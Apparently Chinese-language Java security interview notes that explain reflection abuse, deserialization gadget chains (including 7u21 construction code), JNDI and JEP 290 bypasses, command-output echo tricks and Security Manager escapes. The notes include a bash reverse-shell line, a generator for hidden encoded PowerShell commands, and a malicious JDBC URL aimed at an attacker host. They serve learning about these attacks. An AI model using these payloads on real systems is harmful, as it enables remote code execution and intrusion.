反射是根据字节码获得类信息或调用方法。从开发者角度来讲,反射最大的意义是提高程序的灵活性。Java本身是静态语言,但反射特性允许运行时动态修改类定义和属性等,达到了动态的效果
可以做到,参考以下代码
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.set(null, newValue);
可以使用的类和方法如下(参考三梦师傅)
ReflectUtil.forName
BytecodeDescriptor
ClassLoader.loadClass
sun.reflect.misc.MethodUtil
sun.reflect.misc.FieldUtil
sun.reflect.misc.ConstructorUtil
MethodAccessor.invoke
JSClassLoader.invoke
JSClassLoader.newInstance
可以执行,但需要对命令进行特殊处理。例如直接执行这样的命令:bash -i >& /dev/tcp/ip/port 0>&1
会失败,简单来说因为>
符号是重定向,如果命令中包含输入输出重定向和管道符,只有在bash
下才可以,使用Java执行这样的命令会失败,所以需要加入Base64
bash -c {echo,base64的payload}|{base64,-d}|{bash,-i}
针对Powershell
应该使用以下的命令
powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc 特殊的Base64
这个特殊的Base64和普通Base64不同,需要填充0,算法如下
public static String getPowershellCommand(String cmd) {
char[] chars = cmd.toCharArray();
List<Byte> temp = new ArrayList<>();
for (char c : chars) {
byte[] code = String.valueOf(c).getBytes(StandardCharsets.UTF_8);
for (byte b : code) {
temp.add(b);
}
temp.add((byte) 0);
}
byte[] result = new byte[temp.size()];
for (int i = 0; i < temp.size(); i++) {
result[i] = temp.get(i);
}
String data = Base64.getEncoder().encodeToString(result);
String prefix = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ";
return prefix + data;
}
其实这个问题有点类似JSP Webshell
免杀
大致方法有这些:使用基本的反射,ProcessImpl和ProcessBuilde,JDNI和LDAP注入,TemplatesImpl,BCEL,BeansExpression,自定义ClassLoader,动态编译加载,ScriptEngine,反射调用一些native方法,各种EL(SPEL和Tomcat EL等)
RMI的JNDI注入在8u121后限制,需要手动开启com.sun.jndi.rmi.object.trustURLCodebase
属性
LDAP的JNDI注入在8u191后限制,需要开启com.sun.jndi.ldap.object.trustURLCodebase
属性
RMI的限制是限制了远程的工厂类而不限制本地,所以用本地工厂类触发
通过org.apache.naming.factory.BeanFactory
结合ELProcessor
绕过
LDAP的限制中不对javaSerializedData
验证,所以可以打本地gadget
这个类本身是JDK中XML相关的类,但被很多Gadget
拿来用
一般情况下加载字节码都需要使用到ClassLoader来做,其中最核心的defineClass
方法只能通过反射来调用,所以实战可能比较局限。但JDK中有一个TemplatesImpl
类,其中包含TransletClassLoader
子类重写了defineClass
所以允许TemplatesImpl
类本身调用。TemplatesImpl
其中有一个特殊字段_bytecodes
是一个二维字节数组,是被加载的字节码
通过newTransformer
可以达到defineClass
方法加载字节码。而getOutputProperties
方法(getter)中调用了newTransformer
方法,也是一个利用链
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目
该类常常用于各种漏洞利用POC的构造,可以加载特殊的字符串所表示的字节码
但是在Java 8u251之后该类从JDK中移除
从LinkedHashSet.readObject
开始,找到父类HashSet.readObject
方法,其中包含HashMap
的类型转换以及HashMap.put
方法,跟入HashMap.put
其中对key
与已有key
进行equals
判断,这个equals
方法是触发后续利用链的关键。但equals
方法的前置条件必须满足
if (e.hash == hash && ((k = e.key) == key || key.equals(k)))
所以这里需要用哈希碰撞,让下一个key
的哈希值和前一个相等,才可进入第二个条件。而第二个条件中必须让前一个条件失败才可以进去equals
方法,两个key
对象不相同是显而易见的
接下来的任务是找到一处能触发equals
方法的地方
反射创建AnnotationInvocationHandler
对象,传入Templates
类型和HashMap
参数。再反射创建被该对象代理的新对象,根据动态代理技术,代理对象方法调用需要经过InvocationHandler.invoke
方法,在AnnotationInvocationHandler
这个InvocationHandler
的invoke
方法实现中如果遇到equals
方法,会进入equalsImpl
方法,其中遍历了equals
方法传入的参数TemplatesImpl
的所有方法并反射调用,通过getOutputProperties
方法最终加载字节码导致RCE
关于7U21的伪代码如下
Object templates = Gadgets.createTemplatesImpl();
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);
LinkedHashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
map.put(zeroHashCodeStr, templates);
return set;
结合调用链
LinkedHashSet.readObject()
LinkedHashSet.add()/HashMap.put()
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
可以看到伪代码最后在map
中put
了某个元素,这是为了处理哈希碰撞的问题。TemplatesImpl
没有重写hashcode
直接调用Object
的方法。而代理对象的hashcode
方法也是会先进入invoke
方法的,跟入hashCodeImpl
方法看到是根据传入参数HashMap
来做的,累加每一个Entry
的key
和value
计算得出的hashcode
。通过一些运算,可以找到符合条件的碰撞值
这是7U21修复的绕过
在AnnotationInvocationHandler
反序列化调用readObject
方法中,对当前type
进行了判断。之前POC中的Templates
类型会导致抛出异常无法继续。使用BeanContextSupport
绕过,在它的readObject
方法中调用readChildren
方法,其中有try-catch
但没有抛出异常而是continue
继续
所以这种情况下,就算之前的反序列化过程中出错,也会继续进行下去。但想要控制这种情况,不可以用正常序列化数据,需要自行构造畸形的序列化数据
首先最容易的方案是使用Javassist生成字节码,这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令,可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载
首先想到的办法是dnslog
等技术进行外带,但必须出网,有限制
然后类似内存马的思路,针对指定中间件找response
对象写入执行结果
尝试写文件,往web
目录下写,例如xx.html
可以访问到即可
将命令执行结果抛出异常,然后用URLClassLoader
加载,达到报错回显
Y4er师傅提到的自定义类加载器配合RMI的一种方式
获取本次http
请求用到socket
的文件描述符,然后往文件描述符里写命令执行的结果
但鸡肋的地方在于需要确定源端口,才可以使用命令查到对应的文件描述符,存在反代可能有问题
原理类似linux
的通杀回显,在windows
中nio/bio
中有类似于linux
文件描述符这样的句柄文件
遍历fd
反射创建对应的文件描述符,利用sun.nio.ch.Net#remoteAddress
确认文件描述符有效性,然后往里面写数据实现回显
果我们可以控制JDBC URI
就可将JDBC
连接地址指向攻击者事先准备好的恶意服务器,这个服务器可以返回恶意的序列化数据
指定autoDeserialize
参数为true
后MySQL
客户端就可以自动反序列化恶意Payload
使用ServerStatusDiffInterceptor
触发客户端和服务端的交互和反序列化
jdbc:mysql://attacker/db?queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
以上是基本攻击手段,还有一些进阶的内容,例如allowUrlInLocalInfile
和detectCustomCollations
参数
在JEP 290
中提供一个限制反序列化的类的机制,黑白名单方式,同时限制反序列化深度和复杂度,为 RMI 导出的对象设置了验证机制。具体实现是提供一个全局过滤器,可以从属性或者配置文件中配置。在ObjectInputStream
类中增加了一个serialFilter
属性和一个filterChcek
函数,其中serialFilter
就可以理解为过滤器
根据JEP 290
限制的原理,白名单对象包括了:String,Remote,Proxy,UnicaseRef,RMIClientSocketFactory等
如果目标的RMI
服务暴漏了Object
参数类型的方法,且该类在白名单中,我们就可以注入Payload进去以绕过检测
另外还一些骚思路,比如想办法改源码,或用Java Agent
对某些方法Hook
并更改等
通过设置参数java.security.policy
指定policy
以提权;反射调用setSecurityManager
修改Security Manager
以绕过;自定义ClassLoader
并设置ProtectionDomain
里面的权限初始化为所有权限以绕过;由于native
方法不受Java Security Manager
管控,所以可以调用这些方法绕过